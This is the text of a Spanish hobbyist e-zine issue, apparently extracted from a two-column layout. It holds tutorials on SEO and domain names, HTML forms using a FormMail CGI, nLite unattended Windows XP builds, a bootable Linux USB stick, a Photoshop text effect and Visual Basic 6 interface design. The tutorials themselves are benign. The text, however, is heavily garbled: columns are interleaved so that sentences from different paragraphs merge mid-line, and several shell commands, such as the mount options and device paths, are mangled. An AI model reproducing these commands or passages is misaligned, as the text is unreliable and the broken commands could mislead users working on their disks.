conocido, google siempre busca sitios diseñados lo mas
sencillos posibles, y hablo del código Html mientras
menos basura tenga mejor, y siempre tener una
portada bien hecha y otra cosa que google busca es lo
La indexación (posicionamiento) : analiza tu sitio, novedoso, por eso siempre tengamos en cuenta lo que
busca las palabras clave que lo representan con más el usuario busca y hacerlo mas agradable para ser
fidelidad, y utilízalos para describir tu sitio en una sola único, es obvio que si ponemos ej; Nunca le ganaremos
frase a los que son dueños de las palabras como empresas;
Las palabras-clave es un agente importante para poder ebay, yahoo, Microsoft, etc… pero siempre podemos
tener buena indexación, Como? Bueno puedes usar el estar abajo y eso no es tan malo dependiendo que el
los metas tag de otros sitios parecidos a el tuyo para segundo puesto a veces es mejor jeje.
copiar las palabras o que los internautas utilizarán para
encontrar tu sitio. Inspírate de las de los competidores
Un buen dominio
en mejor posición en los resultados de las búsquedas. Y
si la procedencia de tus visitantes es una página de
Cuando vamos a comprar un dominio tenemos que
búsqueda, ten cura, si tus herramientas estadísticas te
tener en cuenta muchas cosas, Hablemos un poco de
lo permiten, de las palabras-clave utilizadas en la
La indexación y Tu Dominio CUH e-zine 4ª edición
como funciona esto… (FormMail, es un programa que da a su proveedor de
Cada servidor web es identificado por una dirección IP espacio no le da el programa CGI para FORMAS, puede
única, parecida a esto: 195.219.20.23 ; este tipo de utilizar este).
dirección es muy poco práctica, y un sistema de
nombres de dominio ha sido rápidamente adoptado. <INPUT TYPE="hidden" NAME="recipient"
Un nombre de dominio es una apelación alfanumérica, value="dirección email">
fácil de recordar, y que corresponde a una dirección IP;
la traducción de uno a otro se hace a través de un Aca le indica al programa CGI anterior cual es la
servidor DNS (Domain Name Server). dirección de correo en donde deseamos recibir la
información que el usuario está llenando. Cuando se
Pero un nombre de dominio no apunta necesariamente declara HIDDEN la información quiere decir que el
hacia un servidor único, eso es el propietario quién lo usuario no va a ver esta línea en nuestra página WEB.
decide; en la práctica, significa que conservando el
mismo nombre de dominio, puedes cambiar de <INPUT TYPE="hidden" NAME="subject" value="
servidor. subject recibido">
Si queremos un buen dominio tenemos que saber bien
que es lo que necesitamos y queremos hacer llegar a la va a ser un correo que vamos a recibir de nuestra
gente, si la pagina se trata de juegos para celulares, no pagina, lo que tenemos que indicarle a el CGI que nos
es obligación que el dominio se llame envíe el "ASUNTO o SUBJECT" del correo.
juegosparacelulares.com etc… pero es un buen dominio
para la facilidad de indexación y fácil de acordarse.. <INPUT TYPE="hidden" NAME="redirect" value="url
pero yo voy a lo mas original, También podemos donde ingresara">
inventar nombres que a veces puede significar con el
tiempo a los que nos dedicamos o lo que queremos aca le indicamos al programa CGI que al terminar de
vender. recibir la información, lleve al usuario a una página
Los dominios mas comunes (Hay que decir que existen WEB. Por lo general se envía al usuario a una página de
muchos otros de distintos países y organizaciones) agradecimiento por haber llenado la FORMA.
.biz Sitios de Organizaciones de Negocios
.com Sitios Comerciales <INPUT TYPE="text" NAME="nombre" size="30"
.edu Sitios Educativos maxlength="40">
.gov Sitios de Organismos Gubernamentales
.info Sitios de Apertura Libre de Dominios de Nivel Lo que hacemos al CGI que tenemos una variable que
Superior TLD se llama NOMBRE, la cual tiene un largo de 30
.int Sitios de Organizaciones Internacionales caracteres visibles y un máximo de 40. Si nos fijamos
.mil Sitios de Dependencias Militares Oficiales de los la siguiente línea HTML lo único que cambia es el
Estados nombre de la variable que se llama "email". entonces
.name Sitios Personales eso dice que podemos tener todas las variables que
.net Sitios de Sistemas y Redes querramos y los largos visibles y máximos pueden ser
.org Sitios de Organizaciones cualquier tamaño.
Nota: Los Dominios de Nivel Superior Globales (GTLD),
creados para ser usados por los usuarios de Internet en
<INPUT TYPE="submit" VALUE="enviar">
general.
En internet los mas grande es utilizar dominios hasta
Aca es para enviar toda la información que se acaba de
de 67 caracteres de largo. Números y letras son
llenar al programa CGI y este a su vez nos lo enviará a
permitidos en el contenido de los dominios, pero no se
la dirección de correo que se definió anteriormente.
permiten espacios ni caracteres especiales (por
ejemplo, =, &, $, ñ, tildes, etc.).
<INPUT TYPE="reset" VALUE="BORRAR">

Acá en este comando podemos borrar todas las formas


para volver a completar el formulario.

</FORM>
Hola bueno voy a dejar algunos comandos mas
importantes para empezar con formularios si ven otros
Esto le indicará al código HTML que nuestra definición
mas interesantes lo ponen de la FORMA para cerrar el formulario creado y es
importante ponerlo
<FORM METHOD="Post"
ACTION="http://www.pagina.com/cgi-bin/formmail"> Bueno espero que les haya servido de algo esta
explicación, ya que siempre es importante tener en
Se define como se va a utilizar la forma o sea el cuenta estas sugerencias, un saludo.
método a utilizar y la acción que vamos a ejecutar es
un programa "FormMail" que se encuentra en la
dirección: http://www.pagina.com/cgi-bin/formmail Senege
Crea Tu propio windows desatendido CUH e-zine 4ª edición

Bueno muchas personas estarán pensando que cosa es


un “windows desatendido” (ya que nadie nace
aprendido) así que os explicare; es un windows que un
usuario x modifica a su gusto, eliminando componentes
del mismo y así lograr un mejor rendimiento, velocidad,
Bueno me presento soy Otacon creador de los Windows
estabilidad y lo mejor de todo un diseño original que tal
LastOne, los puedes ver en google ;).
vez nadie tendrá en este planeta. Bueno como veraz es
algo único y especial que le puedas dar un mejor
retoque a ese windows que tú tienes.

Empezando en la práctica necesitaremos algunos


materiales para empezar entre ellos están:
• El CD de Windows Xp (si lo tienes con Sp3 o
Sp2 pues será más fácil para ti la preparación
del disco.)
• Un quemador de CD (mejor si logras tener uno
de dvd así podrás hacer una creación con
Bueno como bien lo dice el titulo este espacio estará muchos software que se instalen
dedicado, para que tu como una persona que tienes automáticamente.)
curiosidad en el mundo de la informática, te puedas • Y la mejor de todo, es mucha, pero mucha
crear tu win al gusto tuyo con tus diseños y lo mejor de paciencia y ganas de aprender.
todo mas rápido que el windows original.
Para iniciar en esto ocuparemos una herramienta muy
valiosa para que no te molestes mucho modificando un
windows ya que es algo muy grande además no
tenemos mucho tiempo para explicar detalladamente
cada uno de los archivos del windows así que
empecemos bajándonos Nlite lo puedes conseguir en
esta pagina Web y lo mejor de todo es que es gratuito.
http://www.nliteos.com/download.html. bajamos
elllamado Nlite v1.4.5 Final | Installer.(no te bajas
betas ya que desde luego te pueden provocar algún
fallo)

Como todo para empezar deberás conocer algunos


conceptos básicos, además del software que deberás
utilizar en la práctica para que vallas creando tu win
paso a paso hasta que logres tener conocimientos
avanzados del mismo. (En el transcurso del manual y
en la practica se estarán dando conceptos para que te
estés acoplándote a los nuevos conceptos que
manejaras.)

Beta: es el software que sacan de pruebas para poder


encontrar algún bug (error) en ese software antes de
sacar la versión final, así que ya sabes nada de betas.

Una vez bajado; lo instalamos en nuestro PC. (El


famoso siguiente. siguiente y aceptar.) :D (Recuerda
que debes tener antes instalado Microsoft .NET
Crea Tu propio windows desatendido CUH e-zine 4ª edición
Framework, versión 2.0), te lo puedes bajar de acá.
http://www.microsoft.com/downloads/details.aspx?disp
laylang=es&FamilyID=0856eacb-4362-4b0d-8edd-
aab15c5e04f5.

Una vez instalado vamos a abrirlo y escogemos el


idioma Español.

El primer botón llamado “Service Pack” que mas decir


con esto, :D, pues si es donde metes los service pack
que quieres que tu windows posea, así que cuando
entres en esa sección te dirá que busques el service
pack que te hallas bajado y solamente le dices donde
esta, el hace la compilación por ti ;), luego podemos
ver el botón “act criticas y Conjuntos de
actualizaciones” ahí insertas todas las actualizaciones
Luego nos dirá que escojamos el Sistema Operativo que hallan después del ultimo service pack, que por
(SO es la definición corta de sistema operativo) que ahora son pocas con la salida del Sp3.
vamos a usar, luego de haberlo buscado en tu CD ROM
te dirá que lo guardes en un sector de tu disco duro así En el siguiente botón llamado “integrar controladores”,
que te haces una carpeta llamada winhack, y le dices ahí metes los drivers que quieres que ya vengan
que lo guarde ahí y empieza a copiar los archivos. preestablecidos como los de tu tarjeta de sonido, de
video, drivers sata etc. (ten en cuenta que si de
casualidad metes un driver y el nlite te dice en que
modo quieres que se integre le pones que en modo
“controlador regular PNP” es la mejor opción ok.

“Eliminar controladores”; que se puede decir de ese


botón ¿?, pues casi nada solo entra y elimina lo que vos
no quieres que se instale en tu SO.

Seguimos con el botón llamado “instalación


desatendida” este es muy general y es el creador de un
archivo llamado winnt.sif (lo utilizaremos varias veces
en el transcurso del curso) que se encuentra en la
carpeta \I386\ de nuestro windows. Así que este será el
que haga una cierta parte el win desatendido como un
85%, ya que lo otro lo haremos nosotros manualmente
igual que la modificación de iconos, estilos visuales y
algunas otras cosillas que se me escapan por ahora,
sigamos con este botón una vez dentro, nos
encontraremos con varias pestañas en las cuales
Luego nos mandara una pantalla de ajustes existen varios parámetros (métodos) en los que
preestablecidos, lógicamente no tenemos ninguno, así modificaremos para lograr una buena configuración del
que dale siguiente, después nos pondrá la parte winnt.sif.
interesante de este programita y es el control central
de nlite donde le decimos globalmente que hacer, así En la pestaña general hay varias opciones. empezamos
que explicare las ramificaciones de la rama principal de con el “modo desatendido” en la cual le ponemos la
cada función que tiene nlite. opción “totalmente automatizado” ya que queremos el
win totalmente desatendido, después sigue la opción
“OEM Preinstall” esa la ponemos “habilitado”,(En la
Crea Tu propio windows desatendido CUH e-zine 4ª edición
próxima entrega te darás cuenta de su por defecto además de configurar como que quieres
funcionamiento); y lo que es el “Directorio de archivos que traiga el escritorio, que efectos visuales vendrán
de programas” y “Prevención de ejecución de datos” incluidos, etc., el ultimo botón “crear imagen iso” será
podemos dejarlo como viene “por defecto”, En la clave el ultimo botón que usaras. creo que para la próxima
del producto cabe decir que es donde vas a poner la entrega lo podamos ver ya que faltan muchas cosas
licencia de tu windows, así que ahí no hay nada que que aprender.
explicar, en la opción “tipo de equipo” lo dejamos en
“automático”, ya que exactamente no sabemos si lo Nota: recuerda que nlite apenas lo abres debes escoger
vamos a instalar en un equipo con multiprocesador o todas las opciones menos “crear imagen iso”, para que
monoprocesador, en la siguiente opción llamada después le integremos varias cositas entre ellas el
“Misceláneo” es donde escogemos si queremos que el software; pero desde luego no podremos crear aun
‘firewall’ de windows, ‘la hibernación’ y el ‘salta oobe’ nuestro win sino hasta la próxima entrega de este
vengan desactivados, así que tu escoges como quieres manual de creación de tu windows desatendido.
que vengan. La opción ‘restaurar sistemas’ también es
a tu escogencia personal así que configúralo a tu gusto.

Nos pasamos a la pestaña a usuarios… (ehh te has


pasado una la de RunOnce, pues no me la he pasado
sino después la configuraremos manualmente ya que
de acá te puede causar problemas a la hora de
entenderlo así que para después ‘próxima entrega’ ;).
Bueno ahora en la pestaña usuarios están las opciones
para que creas las cuentas de usuario que tu desees
que tu win traiga con todo y password si es que lo
deseas así que configúralo a tu gusto.

Nota: no podrás seguir este curso a menos que tengas


el nlite abierto, ya que tendrías que estar imaginando lo
que te voy diciendo, y pues estar poniendo imágenes
se nos va la revista en dos segundo así que si te
interesa este curso ya sabes como aprender xD.

Bueno seguimos con la otra pestaña llamada “ID de


red”, te imaginaras que se trata de el ‘nombre de tu
equipo’, ‘grupo de trabajo’, y el ‘nombre de dominio’ así
que establece cuales serán esos nombres para tu
windows.
Esto es lo básico para luego meterse en lo que es
Bueno cabe decir que las pestañas “Regional”, modificaciones de la pantalla de instalación, cambiar la
“configuración de red”, “componentes”,”Configuración pantalla de bienvenida, modificar los iconos del
de red”, “Pantalla” y “Actualizaciones Automáticas” son windows y ponerles unos de mac o Linux; o lo que tu
muy fáciles de configurar así que no te las explicare ya tengas a disposición, crear el botoncito de información
que esta en español y te dicen para que sirve Pero la de soporte. Modificaciones en el registro, utilización del
de “Temas de escritorio” la dejaremos para después ya WPI y luego entrar de lleno en lo que es la instalación
que también es otra que necesitamos hacer algo antes desatendida de los software, (utilizaremos la
para poder integrar bien nuestros temas al windows. programación batch, ojala hayas leído las anteriores
revistas de cuh e-zine donde Furios dami te da la
Bueno ya concluimos con el botón de “instalación explicación de cómo programar en este lenguaje.)
desatendida” (por ahora, ya que aun falta algunas espero que les haya gustado esta pequeña intro al
cosas que configurar y poder terminar nuestro mundo de los desatendidos y pronto logren crear sus
proyecto). propios windows totalmente personalizados y al gusto
de cada uno.
Continuando con los botones del control central de
nlite, en el botón ajustes puedes configurar las
‘conexiones simultaneas’ que ayudan mucho para
software (peer to peer.), además de habilitar el
‘soporte para temas no firmados’ (recuerda habilitarlo
que después no tengas problemas de que no te sirven
tus estilos visuales.)

Bueno nos quedan dos botones el de “ajustes” pues


seleccionas los servicios que quieres que traiga el win
Pendrive USB de Arranque en Linux CUH e-zine 4ª edición

Ahora que es lo que necesitamos???

1- Ganas de aprender.
2- Quitarse esa mentalidad de que Windows lo puede
todo...sólo dale una oportunidad a Linux y verás como
responde él de bien. ;>
3- Utilizar mucho eso que tienes arriba y que muchos lo
llaman cerebro, NOTA: Yo hoy me di cuenta que
funciona no sólo para ponerse el sombrero.
4- Fuera de chistes y demás, saber que esto es sólo un
manual, una ayuda, la parte más importante la haces
tu, y como lo dije antes, tu cabecita.

Qué es exactamente lo que vamos a hacer?


Bueno, ya que muchos hemos pasado por ser novatos
en Linux, nos gustaría tener esa inquietud, de cómo
responderá si lo pongo a trabajar fuerte.
Entonces haremos una unidad de arranque USB.

Hola amigos soy rOnNyLdInHo, y antes de dar inicio a Crear una unidad de arranque USB es fácil, pero antes
esta pequeña sección, quería agradecer a todo el de empezar a digitar como loco, quiero dar una
equipo que hace posible la edición de esta ya conocida pequeña introducción al tema.
CUH EZINE, para mí es un honor y a la vez una
responsabilidad, formar parte de este selecto grupo de Primero debes saber que NO todas las placas base son
la tercera edición de tan esperada revista. Deseando capaces de arrancar desde USB. Es más, muchas no
que tanto usted como sus allegados(as), les sirva arrancan ni con combinaciones de pendrives USB y
mucho no sólo este tutorial, sino la revista en sí... que placas base juntas.
por ese motivo fue diseñada. Algo peor? Sí hay algo peor, algunas llaves empiezan a
cargar el sistema operativo pero quedan frenadas en
EMPEZEMOS...... los procedimientos del cheksum de la BIOS interna tras
transferir unos pocos Kbs de información. Hasta se ha
visto en algunas ocasiones, que hasta depende de qué
puerto USB se está usando para ponerla a funcionar.

Pero bueno, no le echemos mas leña al fuego, la


mayoría de las combinaciones de placa(capaz de
arrancar desde USB) y llave, funciona :)

Hay que tener en cuenta que hay algunos obstáculos


que debemos superar en el proceso de arranque.
En el momento en que el bootloader debería leer el
kernel de Linux y el initrd desde el pendrive, no hay SO
que se esté ejecutando y la BIOS del ordenador debe
hacer todo el trabajo de detectar las particiones y
cargar la información de la unidad sin tener ningún otro
driver disponible más que los del firmware de la BIOS
Bueno. lo que veremos en este manual, es algo en la placa. Por otro lado, tan pronto se carga el kernel
relativamente facil, pero..... Porque relativamente? de Linux, la llave USB “desaparece”. O sea, ya no es
1- Por su título: Ya que muchos pensarán que es algo visible, y tiene que re-detectarse por el kernel usando
complicado, y por lo tanto lo ignoro. módulos de disco RAM inicial que contiene los drivers
2- Por el SO a utilizar: Muchos esperaban hacer un USB USB y el sistema de archivos usado por las particiones
de arranque, en Windows?. ja dejeme reirme otra vez, que contienen la información principal de tu SO.
ja. ;)
3- Si eres de esos que piensas que con pintar en The Existen aún muchas cosas que pueden ir mal en un
Gimp o hacer textos en OpenOffice, ya dominas Linux, arranque desde USB, incluso si seguimos los pasos
solo mira esto y comienza a aprender, que para eso correctamente. Es probable que no sea culpa
estamos todos aquí en esta Tierra nuestra....

Para los siguientes ejemplos vamos a usar /dev/sda


Pendrive USB de Arranque en Linux CUH e-zine 4ª edición
como nombre del dispositivo del pendrive USB. Esto mkdosfs -F32 /dev/sda1
puede ser incorrecto en muchos casos, especialmente
si nuestro equipo alberga discos SATA. Es aconsejable
Aunque yo creo que no, pero aún así lo voy a
volver a verificar el nombre del dispositivo asignado al
decir(escribir en este caso), es obvio que a este punto
dispositivo USB cada vez que lo conectemos.
perderemos toda la información que esté en la
Para la mayoría de los comandos no vamos a necesitar
partición, por lo tanto debemos hacer una copia de
permisos de root si los archivos del dispositivo que
seguridad de toda la info que consideres importante.
están en /dev se pueden escribir por un usuario de
cuenta normal y son contables mediante las
Muchos pendrives USB no muestran la nueva tabla de
correspondientes entradas de /etc/fstab. En caso
particiones inmediatamente, por lo que es buena idea
contrario, usaremos sudo o un shell de root, con lo que
sacar y reconectar el pendrive USB o disco duro cada
debemos ser especialmente cuidadosos.
vez que sigamos los pasos anteriores.
Nota: Si no sabes como conseguir permisos de root con
un sudo, es recomendable que no realices este tutorial.
Ahora volvemos a verificar la nueva partición con:
Paso 1: Creamos el sistema de archivos.
Algunos pendrives USB sólo arrancan si se particionan cat /proc/partitions
de cierta manera, y algunas BIOS aparentemente
buscan un cierto tipo de cabecera de partición y Tras haberlo conectado de nuevo y después de haber
sistema de archivos, o renunciarán a arrancar. He visto esperado muchos segundos (muchos, muchos, puedes
casos en los que una placa sólo quería arrancar desde irte a tomar un café :>, je je es porque algunas
un pendrive USB sin particionar, y otros en los que se unidades son muy lentas en la detección de la tabla de
requerían tanto el flag de un sector de arranque DOS particiones).
como el de la partición de arranque.
En primer lugar podemos probar con una tabla de Si la unidad ya aparece como un nombre de nuevo
particiones por defecto y un sistemas de archivos más dispositivo (es decir, sdb en lugar de sda),
o menos sin modificar. probablemente hemos olvidado desmontar el sistema
La mayoría de los pendrives USB recientes tienen una de archivos antes de desconectarla. Podemos hacerlo
especie de tabla de particiones válida en la que la ahora, no obstante, es probable que no exista ya, tras
primera partición primaria está formateada en FAT16 o la repartición de la unidad.
FAT32. En este caso debemos asegurarnos de que la
particón es arrancable. Para los pendrives USB sin partición (si el método de
Para una partición de un pendrive USB que aparezca arranque particionado falla), nos saltamos el paso de
como /dev/sda1, el comando para configurar el flag particionado y tecleamos el comando mkdosfs sobre el
como “arrancable” sería: pendrive USB entero.
sfdisk -A1 /dev/ sda
Esa, amigos míos, fue la parte más difícil, ahora lo que
viene es sumamente sencillo, similar a cambiar de
Para reparticionar la unidad USB podemos usar las
Windows XP a Ubuntu Feisty :)
mismas herramientas que usamos para un disco duro
normal (es decir: qparted o, mi favorito y el favorito de
Paso2: Instalar el syslinux como cargador del kernel
muchos: fdisk o sfdisk).
Lo que isolinux hace para un CD/DVD, syslinux lo hace
para las particiones o discos formateados en DOS.
Para unidades particionadas:

syslinux /dev/sda1
El tipo de partición para un sistema de archivo DOS/FAT
(el menos problemático para el arranque desde una Para unidades no particionadas:
unidad USB) sería “6” para FAT16 y “b” para FAT32.
Usamos FAT16 para particiones menores de 2GB y syslinux /dev/sda
FAT32 si son mayores. Véase arriba el comando de
sfdisk para fijar el flag de la partición como arrancable aquí debemos de asegurarnos que estamos utilizando el
(o 'activo'), lo cual es independiente del sistema de nombre correcto de dispositivo para nuestro sistema.
archivo de las particiones o del contenido.
El comando de mkdosfs para dar formato a una Si usamos un pendrive USB particionado, podemos
partición FAT16 como /dev/sda1 es: configurar (o si prefieres resetear) el sector de
arranque adecuadamente. Aunque, no es necesario
mkdosfs -F16 /dev/sda1 hacer esto. Puede que primero queramos ver si el
arranque funciona sin cambiar el MBR.
Mientras que para FAT32, sería:
Instalamos un sector de arranque syslinux para
unidades particionadas:
Pendrive USB de Arranque en Linux CUH e-zine 4ª edición
ms-sys -s devicename rsync -Hav –progress
/cdrom/KNOPPIX U
Usamos /dev/sda si /dev/sda1 es la partición /media/usbkey/KNOPPIX
FAT16/FAT32 del pendrive USB. Debemos vigilar que el
nombre del dispositivo sea correcto. Una vez hecho esto, tenemos que desmontar el
dispositivo para poder sincronizar el búfer, de datos
Paso3: Copiamos los archivos de arranque y la pendientes a disco y cerrar la sesión. No se sorprenda
información si este comando tarda bastante tiempo en ejecutarse.
En este paso, tenemos que montar el pendrive USB (o Puede haber muchos datos sin escribir en memoria
partición, si usamos el modo particionado) en modo debido a la fabulosa caché del búfer dinámico de
sensible a mayúsculas: bloques de Linux, que hace parecer que las escrituras
en disco son más rápidas de lo que realmente son.
mkdir -p /media/usbkey
mount -t vfat -o rw.umask= umount /media/usbkey
000.shortname=winnt
/dev/sda1 /media/usbkey Paso4: Configurar la BIOS de la PC

A continuación deberíamos cambiar /dev/sda1 a la


partición en cuestión, y entonces saltarnos el número
de la partición en caso de usar todo el pendrive.

Copiamos ahora los archivos de arranque desde el CD o


DVD de tu Distro*

*Como lo dijo mi amigo LTSmash en la edición pasada,


una distro es una distribución de cualquier SO basado
en GNU/Linux. En mi caso, para hacer este manual yo
instalé Knoppix, pero se puede realizar en cualquier
distribución de Linux sin ninugún problema. Nada más
en los códigos que presentaré a partir de aquí, cambian
el nombre KNOPPIX por sus distro, por ejemplo: Una placa capaz de arrancar desde USB tiene al menos
Ubuntu, SuSe, Lindows, etc. dos modos de arranque por USB:
1- Arranque desde Disco Duro USB. (Unidad USB
Vamos a suponer que el CD se monta en /cdrom en particionada)
una sesión Live de Knoppix, aunque en realidad este 2- Arranque desde unidad ZIP USB. (Unidad USB sin
paso se puede realizar en cualquier distro de Linux. particionar)

cp /cdrom/boot/isolinux/* Para nuestro disco duro la opción DISCO DURO sería la


/media/usbkey correcta pero todo depende de lo que hagamos en el
paso 1.
Mientras isolinux busca los archivos de arranque en
/boot/isolinux, syslinux los busca en el directorio / del
sistema de archivos FAT.
Pero... ¡syslinux da un nombre diferente a su archivo Créditos.
de configuración! Manual editado por rOnNyLdInHo.
Revista Linux Magazine por la oportunidad de editarlo.
Klaus Knopper fundador de Knoppix por la ayuda.
mv /media/usbkey/isolinux.cfg
Este manual ha sido editado únicamente para la revista
/media/usbkey/syslinux.cfg
CUH-Ezine del foro: http://foro.el-hacker.com
Dudas, Comentarios, Sugerencias y Quejas:
Podemos borrar con seguridad los archivos específicos ronnyldinho@hotmail.com
de /iso/eltorito, ya que no los vamos a necesitar. klaus@linux-magazine.com
http://foro.el-hacker.com
rm -f U
/media/usbkey/isolinux.bin
/media/usbkey/boot.cat

En este punto el pendrive es arrancable y contiene


tanto el kernel como el initrd, y podemos empezar a
copiar los archivos de cloop, que residen en el
directorio de tu distro , en mi caso, Knoppix.
Bling Text Tutorial CUH e-zine 4ª edición

Creamos un nuevo Documento con Fondo De color


Negro, así nos será mas fácil trabajar, escribe tu texto
en color blanco.

Quedando Algo Así:

Y ahora aplícale al texto los siguientes Estilos:

Ahora haz Ctrl + Click en el icono de texto de la capa


para crear una selección del texto.

Si no sabes como hacerlo observa esta imagen.

Seguidamente dirígete a Selección > Modificar >


Contraer, y contráelo 5 Pixeles, AUN NO
DESELECCIONES.
Bling Text Tutorial CUH e-zine 4ª edición

Ahora crea una nueva capa ( sin deseleccionar )


rellénala de color blanco.

Ahora dirígete a Filtro > Ruido > Añadir Ruido con


estos valores: Cantidad: 40% Distribución: Gaussiana y
Activamos la casilla Monocromático y le damos a
Aceptar.

Luego presiona Ctrl + F para repetir el filtro. NO


DESELECCIONES AUN !

Ahora nos vamos a Filtro > Ruido > Polvo Y Rascaduras


, Con estos Valores: Radio: 1 Pix. Umbral: 130.

( Nota: Aquí puedes varias los valores para que se


adapten a tu gusto y al tamaño de tu texto )

Seguidamente nos dirigimos a Filtro > Estilizar >


Relieve , Con estos Valores: Altura: 3 Pix. Cantidad:
130%.

Queda un poco oscuro, pues vamos a subirle el brillo,


para ello vamos a Imagen > Ajustes > Brillo/Contraste Quedando Asi:
Con estos valores: Brillo: +70 Contraste: -20.

Ahora podemos deseleccionar presionando Ctrl + D.

Ahora crearemos unos brillos, si no dispones de


Pinceles de Brillos no te preocupes ahora te mostramos
como crearlos manualmente.
Ahora le aplicamos estos estilos, a la capa del Ruido.
Primero crea una nueva capa, selecciona el color
blanco, selecciona la herramienta Línea con una medida
de 2 Pix. y dibuja una X en la capa, ahora creamos otra
Bling Text Tutorial CUH e-zine 4ª edición
nueva capa, seleccionamos la herramienta de Pincel,
suavizamos al máximo el pincel y hacemos un clic en el
centro de la X, ahora seleccionamos la capa de la X y le
bajamos la opacidad asta nuestro gusto, luego con el
borrador suavizado barramos las puntas de la X
dándole forma de aguja, quedando como resultado:

Ahora une las dos capas del brillo ( Ctrl + E ) y


duplícala tantas veces quieras y muévelas hacia el lugar
que decidas.

En la siguiente imagen solo hemos añadido un


degradado a la capa del texto original

Para que quede un buen resultado, es hacer el texto


con unas grandes dimensiones, al hacerlo con un gran
tamaño el efecto quizás no es bueno, pero si reducimos
el texto, el efecto mejora notablemente, para ello, lo
que tienes que hacer es seleccionar todas las capas,
luego presionar Ctrl + E para unirlas, luego presionar
Ctrl + T para abrir la transformación libre y ahí
reducimos la imagen un poco hasta que veamos que su
efecto a mejorado.

Quedando un resultado como este:


Diseño de interfaces 1 CUH e-zine 4ª edición

acordes a la realidad y la actualidad, es por ello


que se hace necesario saber ciertas cosas para
poder competir gráficamente con otras
aplicaciones que pueden hacer lo mismo que la
nuestra, pero que por diseño la nuestra se lleva
de leguas a las demás, siendo escogida por esta
Este tuto esta hecho para dar una guía de mas o cualidad ante las demás, es cierto que entre mas
menos que pasos debemos seguir para la creación liviana sea nuestra aplicación, mas funcional será,
de interfaces para nuestros programas y las sin embargo con los tipos de tecnologías y el
pautas que debemos segur a la hora de escoger el hardware soportado y que se maneja en la
color y las formas de los distintos elementos de la actualidad eso ya no es un pretexto para hacer
misma, en este tutorial se usaran tres programas: aplicaciones arcaicas y monocromáticas, ya que
un poco de diseño no le añadirá el suficiente peso
Photoshop CS2 para hacerla inoperable (A menos que tengas un
PC de el pasado milenio), ya que con los equipos
que salen al mercado desde hace mas de 5 años
fácilmente una aplicación de menos de 10 megas
es algo casi que ultraliviano entre comillas
lógicamente!

Entonces empezaremos con la parte de la barra


Visual Basic 6.0 de titulo en Visual Basic 6.0 lógicamente

Microangelo 5.5

y para poder personalizar nuestra aplicación para


que dicha barra de Windows desaparezca
debemos manejar la propiedad BorderStyle del
Para el diseño de las barras fondos y botones form:
usaremos el Photoshop CS2, debemos tener en
cuenta que podemos manejar distintos tamaños
para las ventanas y demás componentes de
nuestros programas, así mismo debemos tratar
de ser consecuentes y concordantes en cuanto a
los colores o sea el manejo de un tema uniforme
para las distintas partes u elementos de nuestras
aplicaciones, antes no se tenían en cuenta este
tipo de cuestiones, ya que de lo que se trataba
era ser funcionales y el diseño poco trascendía en
la creación de un programa, pero en la actualidad
ya es un ítem manejar el concepto del diseño
grafico en los programas, ya que esta será la cara
que daremos a los demás y de esta forma se
verán que nuestras maneras de trabajar son
Diseño de interfaces 1 CUH e-zine 4ª edición
En Windows se usa esta barra para poner el titulo
de la ventana y para el manejo de los botones de
visualización, por defecto Windows depende del
theme que se use actualmente para así mismo
poner el color y la fuente de la misma, entonces
en el combo de la propiedad la ponemos en 0-
none para omitir la barra.

De forma que podemos usar las nuestras para


personalizar totalmente nuestras

Con la herramienta pincel, un pincel duro,


redondo y de color blanco

Cabe decir que al quitar este elemento el form


queda fijo ya que no se puede mover la ventana
al carecer de la barra, sobra decir también que
sirve para ello, sin embargo podemos manejar el
API ReleaseCapture, por el momento veremos la Cuando necesitamos precisión podemos usar las
forma de hacer las barras para usarlas en guías para manejar exactitud a la hora de diseñar,
nuestras aplicaciones, suponiendo que en el menú Vista, Nueva Guia:
manejamos varios tamaños de ventanas,
entonces para cada tamaño manejaremos una
barra, en nuestro primer caso vamos a suponer
que hacemos el home y una ayuda por el
momento, necesitaremos dos forms para ello,
pero primero vamos al diseño de las barras en
photoshop.
Abrimos un nuevo documento de 400 pixeles
de ancho x 20 pixeles de alto, lo rellenamos de
negro.

Insertamos una nueva capa


Diseño de interfaces 1 CUH e-zine 4ª edición

Hacemos tres puntos separados equitativamente


y ala misma altura, dejando las guias para poner
los botones de la siguiente forma
bien sea como un .gif o como un .jpg

Seleccionamos la Herramienta Texto y escribimos


un carácter por capa en cada botón

Este mismo documento nos puede servir para


crear la barra mas ancha, debemos guardar el psd
Creamos una nueva capa de color blanco asi:
para mantener los documentos psd, vamos al
menú archivo

Le bajamos a esta capa a 45% quedando asi

Ya tenemos nuestra primer barra lista para usar,


la guardamos en el menú archivo guardar para
web
Diseño de interfaces 1 CUH e-zine 4ª edición
sea la base) en el menú capas, se logra
seleccionando la primera y con la tecla CTRL
presionamos una a una las capas que
necesitamos manipular

en este caso necesitamos moverlas a la derecha


de la barra para después dimensionar la capa que
independientes en caso de futuras modificaciones da el efecto de resplandor
pero debemos crear la mas ancha de 600 px de
ancho X 20 px de alto, para ello nos vamos al
menú imagen

De esta forma ya podemos hacer algo básico,


entonces vámonos a Visual Basic de nuevo, allí
nos vamos a la propiedad Picture del form1 y
seleccionamos la barra pequeña para el home de
nuestra aplicación, debemos adaptar el ancho del
form de forma que se adapte al ancho de la barra

Y le cambiamos el ancho a 600, seleccionamos


todas la capas (menos la capa de fondo negro o
Diseño de interfaces 1 CUH e-zine 4ª edición

Y las propiedades del Shape quedan de esta


forma

Ahora insertamos un nuevo form

Hacemos lo mismo que en el primer form, esta


vez seleccionamos la barra mas ancha, el
Ahora le ponemos al form a la propiedad BackColor del Form2 igual que el anterior, pero
BackColor el color negro esta vez vamos añadir dos shapes rectangulares
una transparente y otra blanca a modo de panel
lateral, y una línea, quedando algo así

Luego insertamos un shape rectangular

Lo modificamos a de forma que quede de la


siguiente forma: Volvemos de nuevo al Photoshop para hacer algo
que es típico de las paginas webs y del diseño en
general, y es crear una imagen transparente de 1
pixel x 1 pixel, la usaremos como una mascara o
capa de selección, ya veremos como la usaremos,
entonces para ello abrimos un nuevo documento
transparente de 1 px X 1 px y lo guardamos con
el nombre de EspacioBlanco.gif, volvemos al
form1 e insertamos un Image, seleccionamos la
imagen EspacioBlanco.gif y en la propiedad
Stretch le ponemos True de esta forma la
expandimos para abarcar un botón,
seleccionamos la imagen y le damos click
derecho, copiar, pegar, nos saldrá algo diciendo
que si deseamos un no se que XD, le decimos que
Diseño de interfaces 1 CUH e-zine 4ª edición
no y pegamos de nuevo, escogemos no de nuevo,
corremos las imágenes una en cada botón

Volvemos a photoshop para hacer unos botones Le dejamos el trazo como se ve


breves, abrimos una nueva capa de 60 px X 20 px
